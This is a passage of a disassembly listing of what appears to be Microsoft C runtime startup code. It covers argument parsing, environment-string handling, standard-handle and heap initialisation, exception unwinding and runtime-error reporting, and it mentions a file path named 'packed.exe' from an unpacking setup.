		mov	edi, ds:dword_406F40
		cmp	[edi], bl
		jz	short loc_402E36
		push	ebp


loc_402DFE:				; CODE XREF: sub_402D9F+94j
		push	edi
		call	sub_402210
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_402E2F
		push	ebp
		call	sub_403CB6
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_402E22
		push	9
		call	sub_402934
		pop	ecx


loc_402E22:				; CODE XREF: sub_402D9F+79j
		push	edi
		push	dword ptr [esi]
		call	sub_402720
		pop	ecx
		add	esi, 4
		pop	ecx


loc_402E2F:				; CODE XREF: sub_402D9F+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_402DFE
		pop	ebp


loc_402E36:				; CODE XREF: sub_402D9F+5Cj
		push	ds:dword_406F40
		call	sub_403C87
		pop	ecx
		mov	ds:dword_406F40, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	ds:dword_407444, 1
		pop	ebx
		retn
sub_402D9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402E58	proc near		; CODE XREF: sub_40283E+89p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_407448, ebx
		push	esi
		push	edi
		jnz	short loc_402E6F
		call	sub_403C6B


loc_402E6F:				; CODE XREF: sub_402E58+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	ds:dword_405034	; GetModuleFileNameA
		mov	eax, ds:dword_407458
		mov	ds:off_406F84, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_402E94
		mov	edi, eax


loc_402E94:				; CODE XREF: sub_402E58+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_402EF1
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_403CB6
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_402EC4
		push	8
		call	sub_402934
		pop	ecx


loc_402EC4:				; CODE XREF: sub_402E58+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_402EF1
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	ds:dword_406F6C, esi
		pop	edi
		pop	esi
		mov	ds:dword_406F68, eax
		pop	ebx
		leave
		retn
sub_402E58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402EF1	proc near		; CODE XREF: sub_402E58+47p
					; sub_402E58+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_402F1B
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_402F1B:				; CODE XREF: sub_402EF1+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_402F64


loc_402F20:				; CODE XREF: sub_402EF1+58j
					; sub_402EF1+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_402F52
		test	dl, dl
		jz	short loc_402F52
		movzx	edx, dl
		test	ds:byte_407221[edx], 4
		jz	short loc_402F45
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_402F45
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_402F45:				; CODE XREF: sub_402EF1+46j
					; sub_402EF1+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_402F20
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_402F20
; ---------------------------------------------------------------------------


loc_402F52:				; CODE XREF: sub_402EF1+36j
					; sub_402EF1+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_402F5C
		and	byte ptr [esi],	0
		inc	esi


loc_402F5C:				; CODE XREF: sub_402EF1+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_402FA7
		inc	eax
		jmp	short loc_402FA7
; ---------------------------------------------------------------------------


loc_402F64:				; CODE XREF: sub_402EF1+2Dj
					; sub_402EF1+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_402F6F
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_402F6F:				; CODE XREF: sub_402EF1+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	ds:byte_407221[ebx], 4
		jz	short loc_402F8A
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_402F89
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_402F89:				; CODE XREF: sub_402EF1+91j
		inc	eax


loc_402F8A:				; CODE XREF: sub_402EF1+8Bj
		cmp	dl, 20h
		jz	short loc_402F98
		test	dl, dl
		jz	short loc_402F9C
		cmp	dl, 9
		jnz	short loc_402F64


loc_402F98:				; CODE XREF: sub_402EF1+9Cj
		test	dl, dl
		jnz	short loc_402F9F


loc_402F9C:				; CODE XREF: sub_402EF1+A0j
		dec	eax
		jmp	short loc_402FA7
; ---------------------------------------------------------------------------


loc_402F9F:				; CODE XREF: sub_402EF1+A9j
		test	esi, esi
		jz	short loc_402FA7
		and	byte ptr [esi-1], 0


loc_402FA7:				; CODE XREF: sub_402EF1+6Ej
					; sub_402EF1+71j ...
		and	[ebp+arg_10], 0


loc_402FAB:				; CODE XREF: sub_402EF1+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_403094


loc_402FB4:				; CODE XREF: sub_402EF1+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_402FC0
		cmp	dl, 9
		jnz	short loc_402FC3


loc_402FC0:				; CODE XREF: sub_402EF1+C8j
		inc	eax
		jmp	short loc_402FB4
; ---------------------------------------------------------------------------


loc_402FC3:				; CODE XREF: sub_402EF1+CDj
		cmp	byte ptr [eax],	0
		jz	loc_403094
		test	edi, edi
		jz	short loc_402FD8
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_402FD8:				; CODE XREF: sub_402EF1+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_402FDD:				; CODE XREF: sub_402EF1+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_402FE6:				; CODE XREF: sub_402EF1+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_402FEF
		inc	eax
		inc	ebx
		jmp	short loc_402FE6
; ---------------------------------------------------------------------------


loc_402FEF:				; CODE XREF: sub_402EF1+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_403020
		test	bl, 1
		jnz	short loc_40301E
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_40300D
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_40300D
		mov	eax, edx
		jmp	short loc_403010
; ---------------------------------------------------------------------------


loc_40300D:				; CODE XREF: sub_402EF1+10Dj
					; sub_402EF1+116j
		mov	[ebp+arg_0], edi


loc_403010:				; CODE XREF: sub_402EF1+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_40301E:				; CODE XREF: sub_402EF1+106j
		shr	ebx, 1


loc_403020:				; CODE XREF: sub_402EF1+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_403035
		inc	ebx


loc_403028:				; CODE XREF: sub_402EF1+142j
		test	esi, esi
		jz	short loc_403030
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_403030:				; CODE XREF: sub_402EF1+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_403028


loc_403035:				; CODE XREF: sub_402EF1+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_403085
		cmp	[ebp+arg_10], 0
		jnz	short loc_40304B
		cmp	dl, 20h
		jz	short loc_403085
		cmp	dl, 9
		jz	short loc_403085


loc_40304B:				; CODE XREF: sub_402EF1+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_40307F
		test	esi, esi
		jz	short loc_40306E
		movzx	ebx, dl
		test	ds:byte_407221[ebx], 4
		jz	short loc_403067
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_403067:				; CODE XREF: sub_402EF1+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_40307D
; ---------------------------------------------------------------------------


loc_40306E:				; CODE XREF: sub_402EF1+162j
		movzx	edx, dl
		test	ds:byte_407221[edx], 4
		jz	short loc_40307D
		inc	eax
		inc	dword ptr [ecx]


loc_40307D:				; CODE XREF: sub_402EF1+17Bj
					; sub_402EF1+187j
		inc	dword ptr [ecx]


loc_40307F:				; CODE XREF: sub_402EF1+15Ej
		inc	eax
		jmp	loc_402FDD
; ---------------------------------------------------------------------------


loc_403085:				; CODE XREF: sub_402EF1+148j
					; sub_402EF1+153j ...
		test	esi, esi
		jz	short loc_40308D
		and	byte ptr [esi],	0
		inc	esi


loc_40308D:				; CODE XREF: sub_402EF1+196j
		inc	dword ptr [ecx]
		jmp	loc_402FAB
; ---------------------------------------------------------------------------


loc_403094:				; CODE XREF: sub_402EF1+BDj
					; sub_402EF1+D5j
		test	edi, edi
		jz	short loc_40309B
		and	dword ptr [edi], 0


loc_40309B:				; CODE XREF: sub_402EF1+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_402EF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4030A5	proc near		; CODE XREF: sub_40283E+7Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, ds:dword_4070A0
		push	ebx
		push	ebp
		mov	ebp, ds:dword_4050D0
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_4030F3
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4030D4
		mov	ds:dword_4070A0, 1
		jmp	short loc_4030FC
; ---------------------------------------------------------------------------


loc_4030D4:				; CODE XREF: sub_4030A5+21j
		call	ds:dword_4050CC	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4031CE
		mov	ds:dword_4070A0, 2
		jmp	loc_403182
; ---------------------------------------------------------------------------


loc_4030F3:				; CODE XREF: sub_4030A5+19j
		cmp	eax, 1
		jnz	loc_40317D


loc_4030FC:				; CODE XREF: sub_4030A5+2Dj
		cmp	esi, ebx
		jnz	short loc_40310C
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4031CE


loc_40310C:				; CODE XREF: sub_4030A5+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_403121


loc_403113:				; CODE XREF: sub_4030A5+73j
					; sub_4030A5+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_403113
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_403113


loc_403121:				; CODE XREF: sub_4030A5+6Cj
		sub	eax, esi
		mov	edi, ds:dword_4050C8
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_403172
		push	ebp
		call	sub_403CB6
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_403172
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_40316E
		push	[esp+18h+var_8]
		call	sub_403C87
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_40316E:				; CODE XREF: sub_4030A5+B9j
		mov	ebx, [esp+18h+var_8]


loc_403172:				; CODE XREF: sub_4030A5+99j
					; sub_4030A5+A8j
		push	esi
		call	ds:dword_4050C4	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_4031D0
; ---------------------------------------------------------------------------


loc_40317D:				; CODE XREF: sub_4030A5+51j
		cmp	eax, 2
		jnz	short loc_4031CE


loc_403182:				; CODE XREF: sub_4030A5+49j
		cmp	edi, ebx
		jnz	short loc_403192
		call	ds:dword_4050CC	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4031CE


loc_403192:				; CODE XREF: sub_4030A5+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4031A2


loc_403198:				; CODE XREF: sub_4030A5+F6j
					; sub_4030A5+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_403198
		inc	eax
		cmp	[eax], bl
		jnz	short loc_403198


loc_4031A2:				; CODE XREF: sub_4030A5+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_403CB6
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4031B8
		xor	esi, esi
		jmp	short loc_4031C3
; ---------------------------------------------------------------------------


loc_4031B8:				; CODE XREF: sub_4030A5+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_402290
		add	esp, 0Ch


loc_4031C3:				; CODE XREF: sub_4030A5+111j
		push	edi
		call	ds:dword_4050C0	; FreeEnvironmentStringsA
		mov	eax, esi
		jmp	short loc_4031D0
; ---------------------------------------------------------------------------


loc_4031CE:				; CODE XREF: sub_4030A5+39j
					; sub_4030A5+61j ...
		xor	eax, eax


loc_4031D0:				; CODE XREF: sub_4030A5+D6j
					; sub_4030A5+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_4030A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4031D7	proc near		; CODE XREF: sub_40283E+6Fp

var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_403CB6
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_4031F7
		push	1Bh
		call	sub_402934
		pop	ecx


loc_4031F7:				; CODE XREF: sub_4031D7+16j
		mov	ds:dword_407340, esi
		mov	ds:dword_407440, 20h
		lea	eax, [esi+100h]


loc_40320D:				; CODE XREF: sub_4031D7+52j
		cmp	esi, eax
		jnb	short loc_40322B
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, ds:dword_407340
		add	esi, 8
		add	eax, 100h
		jmp	short loc_40320D
; ---------------------------------------------------------------------------


loc_40322B:				; CODE XREF: sub_4031D7+38j
		lea	eax, [esp+54h+var_44]
		push	eax
		call	ds:dword_4050A4	; GetStartupInfoA
		cmp	word ptr [esp+54h+var_14+2], 0
		jz	loc_403307
		mov	eax, [esp+54h+var_10]
		test	eax, eax
		jz	loc_403307
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_403261
		mov	esi, eax


loc_403261:				; CODE XREF: sub_4031D7+86j
		cmp	ds:dword_407440, esi
		jge	short loc_4032BB
		mov	edi, offset dword_407344


loc_40326E:				; CODE XREF: sub_4031D7+DAj
		push	100h
		call	sub_403CB6
		test	eax, eax
		pop	ecx
		jz	short loc_4032B5
		add	ds:dword_407440, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_40328C:				; CODE XREF: sub_4031D7+CFj
		cmp	eax, ecx
		jnb	short loc_4032A8
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_40328C
; ---------------------------------------------------------------------------


loc_4032A8:				; CODE XREF: sub_4031D7+B7j
		add	edi, 4
		cmp	ds:dword_407440, esi
		jl	short loc_40326E
		jmp	short loc_4032BB
; ---------------------------------------------------------------------------


loc_4032B5:				; CODE XREF: sub_4031D7+A4j
		mov	esi, ds:dword_407440


loc_4032BB:				; CODE XREF: sub_4031D7+90j
					; sub_4031D7+DCj
		xor	edi, edi
		test	esi, esi
		jle	short loc_403307


loc_4032C1:				; CODE XREF: sub_4031D7+12Ej
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4032FE
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_4032FE
		test	cl, 8
		jnz	short loc_4032E0
		push	eax
		call	ds:dword_405094	; GetFileType
		test	eax, eax
		jz	short loc_4032FE


loc_4032E0:				; CODE XREF: sub_4031D7+FCj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_407340[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_4032FE:				; CODE XREF: sub_4031D7+EFj
					; sub_4031D7+F7j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4032C1


loc_403307:				; CODE XREF: sub_4031D7+65j
					; sub_4031D7+71j ...
		xor	ebx, ebx


loc_403309:				; CODE XREF: sub_4031D7+195j
		mov	eax, ds:dword_407340
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_403364
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_403324
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_40332E
; ---------------------------------------------------------------------------


loc_403324:				; CODE XREF: sub_4031D7+146j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_40332E:				; CODE XREF: sub_4031D7+14Bj
		push	eax
		call	ds:dword_4050D8	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_403353
		push	edi
		call	ds:dword_405094	; GetFileType
		test	eax, eax
		jz	short loc_403353
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_403359


loc_403353:				; CODE XREF: sub_4031D7+163j
					; sub_4031D7+16Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_403368
; ---------------------------------------------------------------------------


loc_403359:				; CODE XREF: sub_4031D7+17Aj
		cmp	eax, 3
		jnz	short loc_403368
		or	byte ptr [esi+4], 8
		jmp	short loc_403368
; ---------------------------------------------------------------------------


loc_403364:				; CODE XREF: sub_4031D7+13Ej
		or	byte ptr [esi+4], 80h


loc_403368:				; CODE XREF: sub_4031D7+180j
					; sub_4031D7+185j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_403309
		push	ds:dword_407440
		call	ds:dword_4050D4	; SetHandleCount
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
sub_4031D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_403382	proc near		; CODE XREF: sub_40283E+5Ap

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	ds:dword_40508C	; HeapCreate
		test	eax, eax
		mov	ds:dword_407328, eax
		jz	short loc_4033B7
		call	sub_403D2A
		test	eax, eax
		jnz	short loc_4033BA
		push	ds:dword_407328
		call	ds:dword_405090	; HeapDestroy


loc_4033B7:				; CODE XREF: sub_403382+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4033BA:				; CODE XREF: sub_403382+27j
		push	1
		pop	eax
		retn
sub_403382	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4033C0	proc near		; CODE XREF: sub_4034B8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_4033D8
		push	[ebp+arg_0]
		call	sub_404CA6	; RtlUnwind


loc_4033D8:				; DATA XREF: sub_4033C0+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4033C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4033E0	proc near		; DATA XREF: sub_403402+Ao
					; .text:00403473o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_403401
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_403401:				; CODE XREF: sub_4033E0+10j
		retn
sub_4033E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_403402	proc near		; CODE XREF: sub_4034B8+67p
					; sub_4034B8+A7p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_4033E0
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_40341F:				; CODE XREF: sub_403402:loc_40345Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40345C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_40345C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_40345A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_403496
		call	dword ptr [ebx+esi*4+8]


loc_40345A:				; CODE XREF: sub_403402+44j
		jmp	short loc_40341F
; ---------------------------------------------------------------------------


loc_40345C:				; CODE XREF: sub_403402+2Aj
					; sub_403402+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403402	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_4033E0
		jnz	short locret_40348C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_40348C
		mov	eax, 1

locret_40348C:				; CODE XREF: .text:0040347Aj
					; .text:00403485j
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		mov	ebx, offset dword_406D8C
		jmp	short loc_4034A0

; =============== S U B	R O U T	I N E =======================================



sub_403496	proc near		; CODE XREF: sub_403402+4Fp
					; sub_4034B8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_406D8C
		mov	ecx, [ebp+8]


loc_4034A0:				; CODE XREF: .text:00403494j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_403496	endp

; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4034B8	proc near		; DATA XREF: sub_40283E+Ao
					; sub_40371C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_403558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4034EB:				; CODE XREF: sub_4034B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_403551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_40353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_40353F
		js	short loc_40354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_4033C0
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_403402
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_403496
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_40353F:				; CODE XREF: sub_4034B8+40j
					; sub_4034B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4034EB
; ---------------------------------------------------------------------------


loc_40354A:				; CODE XREF: sub_4034B8+54j
		mov	eax, 0
		jmp	short loc_40356D
; ---------------------------------------------------------------------------


loc_403551:				; CODE XREF: sub_4034B8+36j
		mov	eax, 1
		jmp	short loc_40356D
; ---------------------------------------------------------------------------


loc_403558:				; CODE XREF: sub_4034B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_403402
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_40356D:				; CODE XREF: sub_4034B8+97j
					; sub_4034B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4034B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_403402
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_403590	proc near		; CODE XREF: sub_402934+9p
					; sub_402959+9p
		mov	eax, ds:dword_406F48
		cmp	eax, 1
		jz	short loc_4035A7
		test	eax, eax
		jnz	short locret_4035C8
		cmp	ds:dword_406AD4, 1
		jnz	short locret_4035C8


loc_4035A7:				; CODE XREF: sub_403590+8j
		push	0FCh
		call	sub_4035C9
		mov	eax, ds:dword_4070A4
		pop	ecx
		test	eax, eax
		jz	short loc_4035BD
		call	eax


loc_4035BD:				; CODE XREF: sub_403590+29j
		push	0FFh
		call	sub_4035C9
		pop	ecx

locret_4035C8:				; CODE XREF: sub_403590+Cj
					; sub_403590+15j
		retn
sub_403590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4035C9	proc near		; CODE XREF: sub_402934+12p
					; sub_402959+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_406DA0


loc_4035DC:				; CODE XREF: sub_4035C9+20j
		cmp	edx, [eax]
		jz	short loc_4035EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset byte_406E30
		jl	short loc_4035DC


loc_4035EB:				; CODE XREF: sub_4035C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, ds:dword_406DA0[esi]
		jnz	loc_403719
		mov	eax, ds:dword_406F48
		cmp	eax, 1
		jz	loc_4036F3
		test	eax, eax
		jnz	short loc_40361C
		cmp	ds:dword_406AD4, 1
		jz	loc_4036F3


loc_40361C:				; CODE XREF: sub_4035C9+44j
		cmp	edx, 0FCh
		jz	loc_403719
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	ds:dword_405034	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_403653
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_402720
		pop	ecx
		pop	ecx


loc_403653:				; CODE XREF: sub_4035C9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_402210
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_403696
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_402210
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_404600
		add	esp, 10h


loc_403696:				; CODE XREF: sub_4035C9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_402720
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_402730
		lea	eax, [ebp+var_A0]
